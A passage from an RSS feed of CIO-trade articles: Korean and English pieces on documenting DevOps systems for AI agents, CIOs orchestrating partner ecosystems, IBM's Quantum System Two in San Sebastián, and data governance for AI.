<p>데브옵스 모범 사례는 주로 워크플로, 도구, 설정에 집중하지만, 개발과 운영 간 인수인계 문서를 어떻게 구성할지는 팀의 재량에 맡겨진 경우가 많다. 이러한 공백을 메우기 위한 도구는 다음과 같다.<br>• 운영 지식베이스 및 표준 운영 절차 작성을 위한 도구: 아틀라시안 지라 서비스 매니저, 프레시서비스(Freshservice) 지식베이스, 서비스나우 지식관리, 젠데스크 가이드<br>• AI 기반 로그 분석 도구: 데이터독, 다이나트레이스, 로직모니터(LogicMonitor), 로그즈아이오(Logz.io), 뉴렐릭, 스플렁크, 수모로직<br>• 클라우드 인프라 시각화 도구: 클라우드크래프트(Cloudcraft), 하바(Hava), 루시드스케일(Lucidscale)<br>• 아키텍처, 시퀀스, 워크플로 다이어그램 도구: 드로우아이오(Draw.io), 피그마, 이레이저(Eraser), 루시드차트(Lucidchart), 미로(Miro), 비지오(Visio)</p>



<h3 class="wp-block-heading">AI 에이전트를 위한 문서 제공</h3>



<p>많은 코드 생성형 AI 에이전트가 코드베이스를 분석하지만, 점점 더 많은 도구들이 소프트웨어 문서를 함께 분석해 맥락을 보완하고 있다.</p>



<p>젠코더(Zencoder)의 CEO 겸 설립자 앤드루 파일레프는 “모든 코드 변경이 문서화되면 AI는 코드가 ‘무엇을 하는가’뿐만 아니라 ‘왜 그렇게 작성됐는가’를 이해할 수 있다”며 “이러한 맥락적 지식은 AI를 단순한 코딩 보조 도구에서 진정한 팀 구성원으로 발전시킨다”고 말했다. 그는 또 “이전에는 개발자의 머릿속이나 슬랙(Slack) 대화 속에 흩어져 있던 조직적 지식이 검색 가능하고 실행 가능한 지능형 자산으로 변하며, 모든 AI 상호작용의 품질을 향상시킨다”고 설명했다.</p>



<p>데브옵스 팀은 AI 코드 생성기에게 API 문서, 승인 기준이 포함된 사용자 스토리, 코딩 표준, 아키텍처 원칙, README 파일, 보안 코딩 가이드라인, 데이터 개인정보 보호 규정, 컴플라이언스 참조자료 등을 학습 데이터로 제공하는 방안을 고려해야 한다.</p>



<p>파일레프는 “LLM은 세부 문서가 있을 때 세 배 더 정확하게 작동한다”며 “이 방식을 도입한 팀들은 6개월 후 AI가 자체 코드베이스의 패턴과 규칙을 훨씬 더 효과적으로 이해하게 됐다고 보고했다”고 말했다.</p>



<h3 class="wp-block-heading">레거시 애플리케이션 문서화</h3>



<p>문서가 존재하지 않는 애플리케이션을 다루는 것도 생성형 AI의 주요 활용 사례 중 하나다. 특히 원래 개발자가 회사를 떠난 경우, 시스템의 작동 방식과 의도를 파악하기 어려운 상황이 자주 발생한다.</p>



<p>코파도(Copado)의 COO 산제이 기드와니는 기존 시스템 문서화를 훨씬 수월하게 만들어주는 세 가지 핵심 AI 역량을 다음과 같이 설명했다.<br>• 생성형 AI는 방대한 양의 자료를 요약하는 데 뛰어나며, 기존 소스 코드를 읽고 그 의도를 간결하게 정리할 수 있다.<br>• 많은 비즈니스 애플리케이션 시스템이 설정 메타데이터에 의존하는데, 메타데이터 인식 기능을 갖춘 AI는 이러한 설정 정보를 분석하고 자동으로 문서화할 수 있다.<br>• AI는 데이터를 분석해 실제 사용 중인 프로세스를 파악하고, 각 단계의 소요 시간과 참여자의 역할까지 식별할 수 있다.</p>



<p>문서화되지 않은 시스템은 문제를 일으킬 가능성이 높고, 경우에 따라 컴플라이언스 위반으로 이어질 수 있다. 하지만 반대로 지나치게 장황한 문서를 작성하는 것도 또 다른 부담이 된다. 아무리 생성형 AI의 도움을 받더라도 장문 형태의 문서는 사람이 읽기 어렵고 유지 비용도 높다.</p>



<p>매우 효과적인 접근 방식은 ‘독자를 염두에 둔 적정 수준의 문서화’다. 모든 문서는 검토 대상자와, 해당 문서를 학습해 질의응답에 활용할 대규모 언어 모델(LLM)을 위한 용도로 작성되어야 한다. <br>dl-ciokorea@foundryco.com</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The CIO as orchestrator: From running systems to building ecosystems]]></title>
<description><![CDATA[Not long ago, I sat in a boardroom with the CIO of a technology client who was under pressure from every direction. The CEO wanted new revenue streams, the CMO was fighting churn and the CFO was demanding efficiency gains. The CIO’s traditional role — keep the systems running — was no longer enou...]]></description>
<link>https://tsecurity.de/de/3046364/it-security-nachrichten/the-cio-as-orchestrator-from-running-systems-to-building-ecosystems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3046364/it-security-nachrichten/the-cio-as-orchestrator-from-running-systems-to-building-ecosystems/</guid>
<pubDate>Fri, 17 Oct 2025 13:19:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Not long ago, I sat in a boardroom with the CIO of a technology client who was under pressure from every direction. The CEO wanted new revenue streams, the CMO was fighting churn and the CFO was demanding efficiency gains. The CIO’s traditional role — keep the systems running — was no longer enough. What made the difference wasn’t a single product or platform, but how this CIO pulled together cloud partners, data specialists and system integrators into a coordinated effort that unlocked millions in new business.</p>



<p>That’s what being an ecosystem orchestrator looks like. It’s not about buying more tools or adding headcount. It’s about using your seat as CIO to align partners, business leaders and delivery teams around outcomes that actually move the revenue needle.</p>



<h2 class="wp-block-heading">Why orchestration matters now</h2>



<p>Companies want their tech leaders — CIOs, CTOs, CDIOs — to turn the promise of tech into real value. That means stepping beyond being a support function and instead shaping how the company generates value. In practice, this means embedding yourself in business strategy, taking ownership for outcomes and holding partners accountable for results alongside your internal teams.</p>



<p>Three forces make orchestration imperative. First, product complexity: modern solutions increasingly combine cloud infrastructure, AI models, data platforms and specialized third-party services. Second, time-to-value: buyers want ready solutions, not point products stitched together by procurement cycles. Third, economics: co-creating with partners (and sharing GTM) allows firms to scale addressable markets far faster than single vendors can. McKinsey has emphasized that <a href="https://www.mckinsey.com/capabilities/mckinsey-digital/our-insights/a-new-dawn-for-the-technology-officer" target="_blank" rel="nofollow">technology leaders who orchestrate these flows create disproportionate value in the AI era</a>.</p>



<p>In my experience, the CIOs who thrive are those who stop thinking of vendors as suppliers and start treating them as co-innovators.</p>



<h2 class="wp-block-heading">Orchestration: The new CIO playbook</h2>



<p>Today’s enterprises rarely innovate in isolation, which in turn impacts every C-level role. Even the CIO role is shifting and companies expect them to deliver growth and value, not just technology. That requires becoming orchestrators — leaders who know how to blend internal talent and external ecosystems into something bigger than the sum of its parts.</p>



<p>Based on projects I’ve led or advised, the orchestration playbook has five repeatable moves:</p>



<ol class="wp-block-list">
<li><strong>Map the outcome, then map the ecosystem:</strong> Start with the buyer’s desired business metric (new revenue, churn reduction, time-to-market) and identify which partner capabilities must be combined to deliver it.</li>



<li><strong>Design a composable platform: </strong>Expose APIs, standardize data governance and create deployment templates so partners can plug in quickly.</li>



<li><strong>Create joint value propositions and pricing:</strong> Move beyond list-price stacking: Define measurable outcome SLAs, revenue shares or consumption pricing to make collaboration easy to buy.</li>



<li><strong>Operationalize co-delivery:</strong> Align delivery models across partners — shared service desks, runbooks and a lead integrator role reduce friction at launch.</li>



<li><strong>Embed GTM muscle:</strong> Partner with CRO or sales team with co-sell plays, build shared collateral and run joint executive sponsor programs that open doors faster.</li>
</ol>



<p>In my own journey, the CIOs who embraced this mindset didn’t just modernize systems; they changed the trajectory of their companies. They created new revenue streams, improved customer experiences and accelerated product launches. And they did it by stepping into the uncomfortable but powerful role of orchestrator.</p>



<p>Why invest in orchestration? The returns are tangible: new revenue channels, faster product launches, reduced churn and lower total cost of implementation. Industry research finds that companies that master partner ecosystems capture outsized growth — <a href="https://www.ey.com/en_rs/real-world-strategy/ecosystems-cios-must-harness-technology-to-enable-ecosystem-success" target="_blank" rel="nofollow">a fact echoed in advisory research</a> and reflected in vendor partner program outcomes.</p>



<h2 class="wp-block-heading">Lessons from the field</h2>



<p>Below are anonymized client vignettes — real initiatives where CIOs took orchestration from idea to revenue.</p>



<h3 class="wp-block-heading">Turning product data into new revenue</h3>



<p>A technology platform company had extensive product telemetry data collected in a data lake. The CIO led a cross-functional effort — IT, legal, product, analytics and service partners — to package telemetry as an insights product. The product would also provide deeper customer insights and enable the company to upsell to its own customer base, a complete win-win situation. The work required API standardization, privacy guardrails and a tiered pricing model. Within 12 months, the initiative generated a new subscription revenue stream and opened markets the product team alone could not access. This shows the ingenuity of building a business case around data monetization as a growth lever.</p>



<h3 class="wp-block-heading">Reducing churn through partner-driven martech modernization</h3>



<p>A client’s CIO faced rising churn because marketing campaigns were fragmented across regions. Instead of betting on a single tool, the CIO brought together a marketing automation vendor, a cloud data platform provider and a specialist systems integrator. By orchestrating these players around one unified customer graph, churn dropped measurably and the business regained confidence in its growth engine.</p>



<h3 class="wp-block-heading">Accelerating finance automation with a partner bundle</h3>



<p>In a mid-market hardware firm, the month-end close process was a nightmare. The CIO championed a small, fast experiment that brought together a strike team of services and solution partners: a robotic process automation vendor, an AI document-processing firm and a process-redesign consultancy. Acting as an orchestrator in conjunction with the finance head, the CIO pushed the group to deliver a working pilot in weeks. The outcome was a game-changer, resulting in a finance team that could close books faster, redirect capacity and support growth initiatives instead of firefighting during month-ends.</p>



<h3 class="wp-block-heading">Shortening time-to-market through global product/platform engineering</h3>



<p>A global software firm racing to launch in a new vertical couldn’t scale integration work fast enough during its customer implementations. The CIO struck a three-way partnership: a global delivery partner for engineering scale, a cloud provider for platform credits and a system integrator with domain expertise. With the CIO owning the orchestration, the product hit the market a month ahead of schedule — and with a joint GTM program already in motion.</p>



<h2 class="wp-block-heading">What makes orchestration succeed</h2>



<p>Ecosystem orchestration isn’t easy and the traps are real. Too often, CIOs find themselves boxed in by technical lock-in that limits flexibility or working with partners who are more focused on protecting their margins than driving shared outcomes. Add to that the risk of weak governance, where a lack of clear ownership allows problems to cascade unchecked to customers and the orchestration effort can quickly unravel.</p>



<p>The CIOs who succeed navigate these challenges by insisting on open interfaces that keep options flexible, establishing shared economics that align incentives and putting in place a small but empowered governance office that takes responsibility for managing risk, timelines and customer issues with discipline.</p>



<p>In this rapidly evolving technology landscape, CIOs can no longer measure success by uptime or system stability alone. The ones who thrive are those who orchestrate ecosystems of partners, business leaders and delivery teams to turn technology into tangible business outcomes. By building orchestration as a core capability, CIOs don’t just accelerate innovation — they create new markets, new revenue and lasting competitive advantage. In the age of AI and digital, the CIO’s true power lies not in running systems, but in orchestrating ecosystems.</p>



<p></p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.<br></strong><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[IBM-스페인 바스크 지방정부, 유럽 첫 상용 양자컴퓨터 구축]]></title>
<description><![CDATA[스페인 기푸스코아주의 도시 산세바스티안이 IBM의 최신 양자 컴퓨터인 ‘IBM 퀀텀 시스템 투(IBM Quantum System Two)’의 운영을 공식 시작했다. 이 장비는 IBM이 지금까지 상용화한 양자 컴퓨터 가운데 가장 발전된 모델이며, 미국 뉴욕 자사 연구소에 있는 실험용 양자 장비를 제외하고 유럽 최초이자 전 세계 두 번째 사례다. 첫 번째 장비는 지난여름 일본 고베에 설치됐다.



이번에 설치된 IBM 양자 컴퓨터는 156큐비트 기반의 ‘헤론(Heron)’ 칩을 탑재한 장비다. 지난 14일 공식 개소한 이케르바스...]]></description>
<link>https://tsecurity.de/de/3043554/it-security-nachrichten/ibm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3043554/it-security-nachrichten/ibm/</guid>
<pubDate>Thu, 16 Oct 2025 09:19:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>스페인 기푸스코아주의 도시 산세바스티안이 IBM의 최신 양자 컴퓨터인 ‘IBM 퀀텀 시스템 투(IBM Quantum System Two)’의 운영을 공식 시작했다. 이 장비는 IBM이 지금까지 상용화한 양자 컴퓨터 가운데 가장 발전된 모델이며, 미국 뉴욕 자사 연구소에 있는 실험용 양자 장비를 제외하고 유럽 최초이자 전 세계 두 번째 사례다. 첫 번째 장비는 지난여름 일본 고베에 설치됐다.</p>



<p>이번에 설치된 IBM 양자 컴퓨터는 156큐비트 기반의 ‘헤론(Heron)’ 칩을 탑재한 장비다. 지난 14일 공식 개소한 이케르바스크 과학재단의 신축 건물에 자리하고 있으며, 에너지 대기업 이베르드롤라(Iberdrola)를 포함한 20여 개 연구기관과 30여 개 기업이 새 양자 장비에 접근할 수 있게 된다. 이들 기관과 기업은 모두 바스크 정부가 추진 중인 ‘<a href="https://www.computerworld.es/article/2101298/el-pais-vasco-invertira-50-millones-de-euros-para-instalar-el-nuevo-ordenador-cuantico-de-ibm.html" target="_blank">바스크 퀀텀(BasQ)</a>’ 프로그램에 참여하고 있다. 이 프로그램은 1억 5,300만 유로 규모의 투자를 통해 양자 컴퓨팅 및 과학 연구를 촉진하고, 장기적으로 부가가치 창출과 인재 유치를 목표로 하는 양자 생태계 조성을 핵심으로 삼고 있다.</p>



<p>바스크 지방정부 과학·대학·혁신부 장관인 후안 이그나시오 페레스 이글레시아스는 산세바스티안에서 열린 신형 양자 컴퓨터 공개 행사에서 “오늘은 단지 특별한 기계를 공개하는 날이 아니다. 이번 발표의 배경에는 과학·기술·산업계 주요 주체들과 협력해, IBM의 지원 아래 <a href="https://www.computerworld.es/article/4067287/especial-tecnologia-cuantica-2025.html" target="_blank">양자 컴퓨팅</a> 생태계 전체를 구축하려는 전략이 있다”라고 설명했다. 이글레시아스 장관은 이번 프로젝트를 ‘바스크 과학기술의 새로운 출발점’이라고 표현했다. 바스크 정부 수반(레헨다카리) 이마놀 프라달레스 역시 이 같은 비전을 공유했다. 프라달레스는 “수십 년간 과학을 육성하고 보존해 온 지역의 철학이, IBM이 수많은 제안 중 우리를 양자 컴퓨팅 분야의 협력 파트너이자 동반자로 선택하게 된 핵심 이유”라고 강조했다.</p>



<p>프라달레스는 또한 “바스크의 양자 전략(BasQ)은 고급 지식과 인재를 끌어들이는 자석 역할을 할 뿐 아니라, 유럽연합(EU)의 회복력 강화 및 재산업화 전략과도 방향을 같이하고 있다”라고 밝혔다.</p>



<h2 class="wp-block-heading">양자 컴퓨팅, 기존 컴퓨팅, AI의 결합</h2>



<p>행사에 참석한 IBM 리서치 총괄 제이 갬베타는 이번 발표로 IBM이 2026년까지 달성하려는 ‘양자 우위’에 한걸음 더 다가섰다고 밝혔다. IBM 스페인 대표 오라시오 모렐은 “이런 진전은 양자 컴퓨팅, 기존 컴퓨팅, AI의 결합 덕분”이라며 “3가지 기술의 결합이 지금까지 해결할 수 없었던 문제들을 풀 수 있는 길을 열어줄 것”이라고 설명했다.</p>



<p>모렐은 “이번 프로젝트를 통해 스페인에서 양자 컴퓨팅이 현실화됐다. 이제는 이를 산업 현장에서 활용 가능한 응용 기술로 전환하고 국가 경쟁력을 높이는 데 집중할 것”이라고 말했다. 또한 그는 IBM의 향후 양자 컴퓨팅 로드맵을 소개하며, “내년에는 앞서 언급한 양자 우위 달성을 목표로 하고 있고 2029년에는 오류 수정 기능을 갖춘 <a href="https://www.computerworld.es/article/4004210/ibm-asegura-tener-la-unica-via-realista-hacia-la-computacion-cuantica.html" target="_blank">상용 규모의 첫 양자 컴퓨터</a>, 즉 흔히 말하는 ‘양자 노이즈(Quantum Noise)’가 없는 시스템을 시장에 선보일 계획”이라고 설명했다.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Executives at the IBM-Euskadi Quantum Computational Center in San Sebastián, Spain" class="wp-image-4073073" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?quality=50&amp;strip=all 5531w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=1536%2C1024&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=2048%2C1366&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=1240%2C826&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=1045%2C697&amp;quality=50&amp;strip=all 1045w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>IBM executives and officials from the Basque Government and regional councils in front of Europe’s first IBM Quantum System Two, located at the IBM-Euskadi Quantum Computational Center in San Sebastián, Spain.</p>
</figcaption></figure><p class="imageCredit">Irekia</p></div>



<p>바스크 자치정부 과학혁신부 차관 아돌포 모라이스는 2027년까지 새로운 양자 장비를 기존의 슈퍼컴퓨팅 시스템 및 AI 솔루션과 결합해 활용할 수 있을 것이라고 전했다. 그는 “이케르바스크의 에우스카디 양자컴퓨팅센터에서는 이미 현 슈퍼컴퓨터 ‘<a href="https://www.i2basque.eus/se-inaugura-hyperion-el-tercer-supercomputador-mas-potente-del-estado/" target="_blank" rel="nofollow">하이페리온(Hyperion)</a>’을 내년에 대체할 차세대 슈퍼컴퓨터 구축 계획을 논의 중이며, 2년 안에는 양자·기존컴퓨팅·AI 3가지 기술을 결합해 운용할 수 있을 것”이라고 설명했다.</p>



<p>IBM 스페인 양자컴퓨팅 총괄 미켈 디에스는 “양자 컴퓨팅이 독립적으로 작동할 것이라고 보지 않는다. 마찬가지로, 기존 컴퓨팅도 미래에 독립적으로 존재하지 않을 것”이라고 강조했다. 그는 이번에 도입된 IBM 퀀텀 시스템 투가 기존 컴퓨팅 아키텍처와 긴밀히 연동되는 구조임을 확인했다면서, “IBM의 양자 컴퓨팅 전략은 본질적으로 기존 컴퓨팅과 결합해 함께 작동하도록 설계됐다”라고 말했다.</p>



<p>디에스에 따르면 이번 장비는 모듈형 아키텍처로 설계됐으며, 현재는 단일 양자 칩만 탑재돼 있지만 향후 필요에 따라 추가 확장이 가능하다. 방 하나를 차지할 만큼 대규모인 해당 장비는 펌프 냉각 시스템을 통해 영하 273도의 초저온 환경을 유지해야 한다. 디에스는 “이 장비는 큐비트의 에너지 소비가 극히 적기 때문에 킬로와트(kW) 단위의 전력만 사용한다. 이는 메가와트(MW) 단위로 전력을 소모하는 대형 슈퍼컴퓨터와는 근본적으로 다르다”라고 덧붙였다.</p>



<h2 class="wp-block-heading">신흥 기술의 실질적 활용 가능성</h2>



<p>양자 컴퓨팅은 기존 슈퍼컴퓨팅, 고성능 AI 기술이 결합되면서 학문 분야뿐 아니라 다양한 산업 부문에도 큰 변화를 가져올 것으로 기대되고 있다. 디에스는 <a href="https://www.computerworld.es/article/4071919/mikel-diez-ibm-queremos-hibridar-la-computacion-cuantica-con-la-clasica.html" target="_blank">‘컴퓨터월드’와의 인터뷰</a>에서 바스크 자치정부의 ‘BasQ’ 프로그램이 양자 기술과 연계될 3가지 유형의 프로젝트를 추진하고 있다고 설명했다. 그는 “첫 번째는 양자 기술 자체의 진화에 관한 내용이다. 오류 수정 기능을 어떻게 지속적으로 개선할 것인지, 양자 컴퓨터의 핵심 구성 요소를 어떻게 식별할 것인지, 그리고 이러한 요소와 장비 성능을 어떻게 최적화할 것인지에 초점을 맞춘다”라고 말했다.</p>



<p>이런 의미에서 디에스는 “산세바스티안에 공개된 양자 컴퓨터는 아직 노이즈 단계의 장비이며, 이 때문에 일부 기능에는 한계가 존재한다”라고 인정했다. 그는 구체적으로 IBM 퀀텀 시스템 투에서 큐비트 연산 1,000회당 한 번의 오류가 발생하는 수준이라고 설명하면서, 매우 낮은 비율이지만 결과의 완전한 신뢰성을 보장하지는 못한다고 밝혔다. 디에스는 “현재 우리는 연산 결과를 후처리해 발생 가능한 오류를 수정하고 있으며, 이러한 방식은 완전한 오류 내성을 갖춘 양자 컴퓨터가 등장하기 전까지 유지될 것”이라고 덧붙였다. 기존 컴퓨터가 수년간 오류 정정을 거쳐 안정성을 확보한 것처럼 양자 컴퓨팅도 과도기에 있다는 설명이다.</p>



<p>또 다른 유형의 프로젝트는 과학적 관점에서의 응용 연구로, 물질의 거동 분석이나 ‘시간 결정체(Time Crystal)’ 연구와 같은 분야에 양자 컴퓨팅이 활용될 예정이다. 마지막으로 디에스는 산업 분야에서의 실질적 적용 가능성을 염두에 두고 프로젝트를 진행하고 있다고 강조했다. 그는 “예를 들어 은행권의 투자 포트폴리오를 최적화하거나, 에너지 그리드의 효율을 높이고, 물류 네트워크의 복잡한 문제를 분석하는 방안을 연구하고 있다”라고 말했다.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?quality=50&amp;strip=all&amp;w=1024" alt="IBM Quantum System Two" class="wp-image-4073072" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?quality=50&amp;strip=all 1920w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=300%2C113&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=768%2C288&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=1024%2C384&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=1536%2C576&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=1240%2C465&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=150%2C56&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=854%2C320&amp;quality=50&amp;strip=all 854w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=640%2C240&amp;quality=50&amp;strip=all 640w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=444%2C167&amp;quality=50&amp;strip=all 444w" width="1024" height="384" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The Basque Government and IBM unveil the first IBM Quantum System Two in Europe at the IBM-Euskadi Quantum Computational Center in San Sebastián, Spain.</p>
</figcaption></figure><p class="imageCredit">IBM</p></div>



<p>모라이스 차관은 “현재 전체 양자 컴퓨팅 자원의 50%가 이미 과학 연구 부문에서 활용되고 있다. 남은 50%는 다른 연구기관뿐 아니라 민간 기업과 공공기관에서도 사용할 수 있도록 개방할 계획”이라고 밝혔다. 그는 바스크 3개 주정부와 자치정부가 각각 양자 기술 사용례를 가속화하기 위한 프로그램을 운영 중이라며, “이번 프로젝트는 지역에 한정되지 않고 글로벌 수준의 협력 생태계 구축을 목표로 한다. 앞으로 몇 주 안에 양자 서비스 접근 신청 절차를 공식 발표할 예정이며, 프로젝트 선정은 품질과 연구 가치에 따라 엄격하게 심사될 것”이라고 강조했다.</p>



<p>모라이스 차관은 또한 이케르바스크 과학재단과 IBM의 협력이 단순히 장비를 도입하는 데 그치지 않는다고 말했다. 그는 이번 계약이 당초 발표된 5,000만 유로보다 크게 늘어난 총 8,000만 유로 규모라고 밝혔다. 이 계약에는 가장 고가의 구성 요소인 양자 컴퓨터의 구매뿐 아니라, 연구개발(R&amp;D)과 인력 양성 프로그램의 실행이 함께 포함돼 있다. 실제로 이번 협력으로 이미 150명이 양자 기술 교육을 이수했다.<br>dl-ciokorea@foundryco.com</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CIO Think Tank: Information management in the age of AI]]></title>
<description><![CDATA[The importance and value of data has never been clearer. But given the rapid evolution of AI and related technologies and their infusion into business, the best ways to manage and use that data have rarely been more challenging or vital.



In three CIO Think Tank roundtables, held from June thro...]]></description>
<link>https://tsecurity.de/de/3042943/it-security-nachrichten/cio-think-tank-information-management-in-the-age-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3042943/it-security-nachrichten/cio-think-tank-information-management-in-the-age-of-ai/</guid>
<pubDate>Wed, 15 Oct 2025 23:48:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="has-drop-cap"><strong>The importance and value of data has never been clearer.</strong> But given the rapid evolution of AI and related technologies and their infusion into business, the best ways to manage and use that data have rarely been more challenging or vital.</p>



<p>In three CIO Think Tank roundtables, held from June through August of 2025, IT leaders spanning diverse industries, from financial services to higher ed, health care, manufacturing, and retail, shared successes and speedbumps in managing the data that feeds AI initiatives across a wide swath of use cases.</p>



<p>[ Download the full <a href="https://us.resources.cio.com/resources/information-management-in-the-age-of-ai/" target="_blank" rel="nofollow">CIO Think Tank Roadmap Report: AI-Native Networking</a> ]</p>



<p>The roundtables were facilitated by John Gallant, enterprise consulting director at Foundry, along with Amy Machado from industry research firm IDC, CIO editorial leader Amy Bennett, and Sandy Ono, CMO of partner OpenText.</p>



<p>Challenged by data quality and sovereignty issues? Wrestling with staffing, skills, and education concerns? Searching for ways to reduce AI risks? Read on for ideas from the front lines.</p>



<h2 class="wp-block-heading">Keeping up with AI: The governance rules are changing</h2>



<p>AI use is advancing at warp speed, even as enterprise technology leaders grapple with foundational questions, starting with whether existing data governance policies still hold up.</p>



<p>Some <a href="https://www.cio.com/cio-think-tank/">CIO Think Tank</a> participants emphasized that they do. “It’s just another opportunity to say all the existing policies and procedures still apply,” said one CIO. Others argued that, while the goals of governance still apply, the manner in which AI uses data necessitates fresh thinking and updated policies. “The business outcomes that you want might be the same, but if you were operating from a very different point of view and things worked differently, then you’re not going to succeed” with a business- as-usual approach said IDC’s <a href="https://my.idc.com/getdoc.jsp?containerId=PRF003779" target="_blank" rel="nofollow">Amy Machado</a>.</p>



<p>Among the challenges facing AI builders is how to set the right business expectations. “The AI model life cycle is not like the application life cycle,” said <a href="https://www.linkedin.com/in/jamilk/" target="_blank" rel="nofollow">Jamil Badrudeen</a>, VP AI and Financial Engineering at financial giant State Street. Applications are put into production once the code works correctly; AI models “have to be tested and trained in every environment where they’ll be deployed,” he said. Data scientists and users aren’t aligned on when an AI model is “ready” to start production use.</p>



<p>Further, the workforce needs new skills; models need new infrastructure. Line-of-business leaders are excited about AI but remain blasé about investing in data cleanup. AI risks aren’t fully understood. </p>



<p>AI and tech leaders at the forefront of these efforts have tested numerous strategies for addressing the questions, challenges, and opportunities. But it’s still early days for AI, and what works at one company may not play at another. Context matters, and the think tank panelists — whose AI projects range from summarizing medical documents to evaluating environmental data from NASA’s Mars Rover — offered plenty of variability, uncertainty, and disagreement.</p>



<p>Even the easy cliché “It all starts with getting your data right” isn’t universally applicable. Some companies have undertaken a major data infrastructure and governance overhaul before wading into AI; others report cherry-picking their best data to use as their AI starting points, and still other CIOs recommend diving in and using the AI itself to surface problematic data. </p>



